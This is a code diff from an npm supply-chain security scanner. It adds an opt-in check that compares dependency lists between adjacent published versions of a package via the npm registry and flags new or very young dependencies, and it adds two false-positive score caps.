  withTimeout(() => scanAntiForensic(targetPath), 'scanAntiForensic'),
223
224
  yieldThen(() => scanStubPackage(targetPath)),
224
- yieldThen(() => scanMonorepo(targetPath))
225
+ yieldThen(() => scanMonorepo(targetPath)),
226
+ // Opt-in scanner — short-circuits to [] unless options.trustedDepDiff or
227
+ // options.monitorMode is set. CLI runs without flags pay no cost (no I/O).
228
+ // Wrapped in withTimeout as defense in depth: scanner has its own 10s + 5s × N
229
+ // internal timeouts, but a registry slowdown with many added deps could exceed
230
+ // the static-scan budget without this cap.
231
+ withTimeout(() => scanTrustedDepDiff(targetPath, options), 'scanTrustedDepDiff')
225
232
  ]);
226
233
 
227
234
  // Extract results: use empty array for rejected scanners, log errors
@@ -250,7 +257,8 @@ async function execute(targetPath, options, pythonDeps, warnings) {
250
257
  iocStringThreats,
251
258
  antiForensicThreats,
252
259
  stubPackageThreats,
253
- monorepoThreats
260
+ monorepoThreats,
261
+ trustedDepDiffThreats
254
262
  ] = scanResult;
255
263
 
256
264
  // Emit warning if file count cap was hit + quick-scan overflow files
@@ -330,6 +338,7 @@ async function execute(targetPath, options, pythonDeps, warnings) {
330
338
  ...antiForensicThreats,
331
339
  ...stubPackageThreats,
332
340
  ...monorepoThreats,
341
+ ...trustedDepDiffThreats,
333
342
  ...crossFileFlows.filter(f => f && f.sourceFile && f.sinkFile).map(f => ({
334
343
  type: f.type,
335
344
  severity: f.severity,
@@ -23,7 +23,12 @@ const { run } = require('../index.js');
23
23
 
24
24
  (async () => {
25
25
  try {
26
- const result = await run(workerData.extractedDir, { _capture: true });
26
+ // scanContext (optional) carries monitor-side info that opt-in scanners need
27
+ // (e.g. trusted-dep-diff requires package name + version to query the registry).
28
+ // It is spread INTO the pipeline options, but `_capture: true` always wins so
29
+ // the worker keeps returning the result object — never prints.
30
+ const scanContext = workerData.scanContext || {};
31
+ const result = await run(workerData.extractedDir, { ...scanContext, _capture: true });
27
32
  parentPort.postMessage({ type: 'result', data: result });
28
33
  } catch (err) {
29
34
  parentPort.postMessage({ type: 'error', message: err.message || String(err) });
@@ -0,0 +1,205 @@
1
+ 'use strict';
2
+
3
+ /**
4
+ * Trusted dep-diff scanner — detects supply-chain injection via NEW dependencies
5
+ * added between two adjacent published versions of an npm package.
6
+ *
7
+ * Threat model: a compromised maintainer account publishes a patch bump that
8
+ * silently introduces a fresh (or unknown-aged) dependency carrying the actual
9
+ * payload. Reference incident: axios 1.14.0 → 1.14.1 adding `plain-crypto-js`
10
+ * on 2026-03-30. The hostile dep is short-aged and unrecognised, but the host
11
+ * package itself is reputable, so popularity-based filters miss it.
12
+ *
13
+ * Opt-in by design: the scanner needs registry I/O for the previous version's
14
+ * dependency list, which is meaningless for offline CLI audits of a frozen
15
+ * node_modules. It only runs when explicitly enabled via
16
+ * options.trustedDepDiff === true OR
17
+ * options.monitorMode === true
18
+ * The monitor pipeline sets both via the worker thread context.
19
+ *
20
+ * Findings emitted (rule IDs already registered in src/rules/index.js:2598-2621):
21
+ * - trusted_new_unknown_dependency (CRITICAL) — added dep < 7d old OR age unknown
22
+ * - trusted_new_dependency (HIGH) — added dep ≥ 7d old
23
+ *
24
+ * Both types are in HIGH_CONFIDENCE_MALICE_TYPES (classify.js:60), which means
25
+ * downstream reputation attenuation is bypassed — the finding's severity reaches
26
+ * the webhook decision uncapped.
27
+ */
28
+
29
+ const fs = require('fs');
30
+ const path = require('path');
31
+ const https = require('https');
32
+
33
+ const TRUSTED_DEP_AGE_THRESHOLD_MS = 7 * 24 * 60 * 60 * 1000; // 7 days
34
+
35
+ const PACKUMENT_TIMEOUT_MS = 10_000;
36
+ const DEP_AGE_TIMEOUT_MS = 5_000;
37
+
38
+ /**
39
+ * Minimal HTTPS GET with follow-redirects and timeout.
40
+ * Local copy (not shared with monitor/ingestion.js) to keep the scanner
41
+ * self-contained — the monitor module pulls this scanner, not the reverse.
42
+ */
43
+ function httpsGet(url, timeoutMs = 30_000) {
44
+ return new Promise((resolve, reject) => {
45
+ const req = https.get(url, { timeout: timeoutMs }, (res) => {
46
+ if (res.statusCode === 301 || res.statusCode === 302) {
47
+ res.resume();
48
+ const location = res.headers.location;
49
+ if (!location) return reject(new Error(`Redirect without Location for ${url}`));
50
+ return httpsGet(location, timeoutMs).then(resolve, reject);
51
+ }
52
+ if (res.statusCode < 200 || res.statusCode >= 300) {
53
+ res.resume();
54
+ return reject(new Error(`HTTP ${res.statusCode} for ${url}`));
55
+ }
56
+ const chunks = [];
57
+ res.on('data', (chunk) => chunks.push(chunk));
58
+ res.on('end', () => resolve(Buffer.concat(chunks).toString('utf8')));
59
+ res.on('error', reject);
60
+ });
61
+ req.on('error', reject);
62
+ req.on('timeout', () => {
63
+ req.destroy();
64
+ reject(new Error(`Timeout for ${url}`));
65
+ });
66
+ });
67
+ }
68
+
69
+ /**
70
+ * Core dep-diff logic — extracted verbatim from monitor/ingestion.js#checkTrustedDepDiff
71
+ * with no behavioural change: same findings shape, same rule_ids, same severity
72
+ * mapping, same 7-day age cutoff. Tests covering the original implementation
73
+ * (tests/integration/monitor.test.js:8929-9067) cover this directly via the
74
+ * `checkTrustedDepDiff` alias export below.
75
+ *
76
+ * @param {string} name - Package name
77
+ * @param {string} newVersion - Newly published version
78
+ * @returns {Promise<Array>} findings (empty on error or no new deps)
79
+ */
80
+ async function checkDepDiff(name, newVersion) {
81
+ const findings = [];
82
+ try {
83
+ const body = await httpsGet(`https://registry.npmjs.org/${encodeURIComponent(name)}`, PACKUMENT_TIMEOUT_MS);
84
+ const packument = JSON.parse(body);
85
+
86
+ if (!packument.versions || !packument.time) return findings;
87
+
88
+ // Sort versions by publish time (not semver — handles prereleases correctly)
89
+ const timeMap = packument.time;
90
+ const versionKeys = Object.keys(packument.versions)
91
+ .filter(v => timeMap[v])
92
+ .sort((a, b) => new Date(timeMap[a]) - new Date(timeMap[b]));
93
+
94
+ const newIdx = versionKeys.indexOf(newVersion);
95
+ if (newIdx <= 0) return findings; // First version or not found
96
+
97
+ const prevVersion = versionKeys[newIdx - 1];
98
+
99
+ const prevDeps = (packument.versions[prevVersion] && packument.versions[prevVersion].dependencies) || {};
100
+ const newDeps = (packument.versions[newVersion] && packument.versions[newVersion].dependencies) || {};
101
+
102
+ const addedDeps = Object.keys(newDeps).filter(dep => !(dep in prevDeps));
103
+ if (addedDeps.length === 0) return findings;
104
+
105
+ console.log(`[SCANNER] trusted-dep-diff: ${name} ${prevVersion} → ${newVersion}: +${addedDeps.length} new dep(s): ${addedDeps.join(', ')}`);
106
+
107
+ for (const dep of addedDeps) {
108
+ let ageMs = null;
109
+ try {
110
+ const depBody = await httpsGet(`https://registry.npmjs.org/${encodeURIComponent(dep)}`, DEP_AGE_TIMEOUT_MS);
111
+ const depData = JSON.parse(depBody);
112
+ const created = depData.time && depData.time.created;
113
+ if (created) {
114
+ ageMs = Date.now() - new Date(created).getTime();
115
+ }
116
+ } catch (err) {
117
+ console.log(`[SCANNER] trusted-dep-diff: could not check age of dependency ${dep}: ${err.message}`);
118
+ }
119
+
120
+ if (ageMs === null || ageMs < TRUSTED_DEP_AGE_THRESHOLD_MS) {
121
+ const ageDays = ageMs !== null ? Math.floor(ageMs / 86400000) : 'unknown';
122
+ findings.push({
123
+ type: 'trusted_new_unknown_dependency',
124
+ severity: 'CRITICAL',
125
+ confidence: ageMs === null ? 'medium' : 'high',
126
+ file: 'package.json',
127
+ message: `TRUSTED package ${name} added unknown dependency ${dep} (age: ${ageDays}d) in version ${prevVersion} → ${newVersion}`,
128
+ rule_id: 'MUADDIB-TRUSTED-001',
129
+ mitre: 'T1195.002',
130
+ dep,
131
+ depAgeDays: ageDays,
132
+ prevVersion,
133
+ newVersion
134
+ });
135
+ } else {
136
+ const ageDays = Math.floor(ageMs / 86400000);
137
+ findings.push({
138
+ type: 'trusted_new_dependency',
139
+ severity: 'HIGH',
140
+ confidence: 'medium',
141
+ file: 'package.json',
142
+ message: `TRUSTED package ${name} added new dependency ${dep} (age: ${ageDays}d) in version ${prevVersion} → ${newVersion}`,
143
+ rule_id: 'MUADDIB-TRUSTED-002',
144
+ mitre: 'T1195.002',
145
+ dep,
146
+ depAgeDays: ageDays,
147
+ prevVersion,
148
+ newVersion
149
+ });
150
+ }
151
+ }
152
+
153
+ return findings;
154
+ } catch (err) {
155
+ console.log(`[SCANNER] trusted-dep-diff: check failed for ${name}@${newVersion}: ${err.message}`);
156
+ return findings;
157
+ }
158
+ }
159
+
160
+ /**
161
+ * Pipeline entry point. Called by src/pipeline/executor.js alongside the other
162
+ * 17 scanners (Promise.allSettled). Gated by an explicit opt-in option to keep
163
+ * CLI audits offline-safe.
164
+ *
165
+ * @param {string} targetPath - Extracted package directory
166
+ * @param {object} options - Pipeline options. Honors:
167
+ * - options.trustedDepDiff - explicit opt-in (preferred)
168
+ * - options.monitorMode - opt-in for the monitor daemon path
169
+ * - options.name - package name override (avoids re-reading package.json)
170
+ * - options.version - version override
171
+ * - options.ecosystem - 'npm' | 'pypi' | ... — scanner is npm-only
172
+ * @returns {Promise<Array>} findings array (always — never rejects)
173
+ */
174
+ async function scanTrustedDepDiff(targetPath, options = {}) {
175
+ if (!options.trustedDepDiff && !options.monitorMode) return [];
176
+ if (options.ecosystem && options.ecosystem !== 'npm') return [];
177
+
178
+ let name = options.name || null;
179
+ let version = options.version || null;
180
+
181
+ if (!name || !version) {
182
+ const pkgJsonPath = path.join(targetPath, 'package.json');
183
+ if (!fs.existsSync(pkgJsonPath)) return [];
184
+ let pkg;
185
+ try {
186
+ pkg = JSON.parse(fs.readFileSync(pkgJsonPath, 'utf8'));
187
+ } catch {
188
+ return [];
189
+ }
190
+ name = name || pkg.name;
191
+ version = version || pkg.version;
192
+ }
193
+
194
+ if (!name || !version) return [];
195
+
196
+ return await checkDepDiff(name, version);
197
+ }
198
+
199
+ module.exports = {
200
+ scanTrustedDepDiff,
201
+ checkDepDiff,
202
+ // Backwards-compat alias for existing tests imported from monitor/ingestion.js
203
+ checkTrustedDepDiff: checkDepDiff,
204
+ TRUSTED_DEP_AGE_THRESHOLD_MS
205
+ };
package/src/scoring.js CHANGED
@@ -1486,6 +1486,8 @@ const {
1486
1486
  mcpServerEnvAccess,
1487
1487
  vendorCliSdk,
1488
1488
  aiAgentBot,
1489
+ vendorMinifiedBundle,
1490
+ typosquatBenignLifecycle,
1489
1491
  } = require('./ml/feature-extractor.js');
1490
1492
 
1491
1493
  /**
@@ -1520,6 +1522,13 @@ function applyContextualFPCaps(result, pkgMeta) {
1520
1522
  if (bundleWithoutInstallScripts(result, meta)) {
1521
1523
  applied.push({ feature: 'bundle_without_install_scripts', cap: 30 });
1522
1524
  }
1525
+ // F12: vendor minified bundle cascade (>=3 CASCADE_TYPES on a single
1526
+ // bundle file, no lifecycle, no veto) → MAX 25. Targets the v2.11.27
1527
+ // weekly review cluster (@photoroom/ui, @vkontakte/videoplayer-shared).
1528
+ // Tighter than F1 because the cascade is a stronger structural signature.
1529
+ if (vendorMinifiedBundle(result, meta)) {
1530
+ applied.push({ feature: 'vendor_minified_bundle', cap: 25 });
1531
+ }
1523
1532
  // F3: credential destination first-party API → MAX 30
1524
1533
  if (networkDestinationFirstParty(result, meta)) {
1525
1534
  applied.push({ feature: 'network_destination_first_party', cap: 30 });
@@ -1552,6 +1561,14 @@ function applyContextualFPCaps(result, pkgMeta) {
1552
1561
  if (typosquatScopedPackage(result, meta)) {
1553
1562
  applied.push({ feature: 'typosquat_scoped_package', cap: -1 });
1554
1563
  }
1564
+ // F13: boundary-squat dep + provably benign lifecycle (husky install,
1565
+ // npm run build, patches/apply-patches) → MAX 30. Targets the v2.11.28
1566
+ // weekly review cluster (@doyourjob/gravity-ui-page-constructor,
1567
+ // magmastream, balena-cli, @1d1s/design-system, etc.). Vetoes on any
1568
+ // exfil signal, IOC hit, or Axios UNC1069 dep-usage compound.
1569
+ if (typosquatBenignLifecycle(result, meta)) {
1570
+ applied.push({ feature: 'typosquat_benign_lifecycle', cap: 30 });
1571
+ }
1555
1572
 
1556
1573
  if (applied.length === 0) return applied;
1557
1574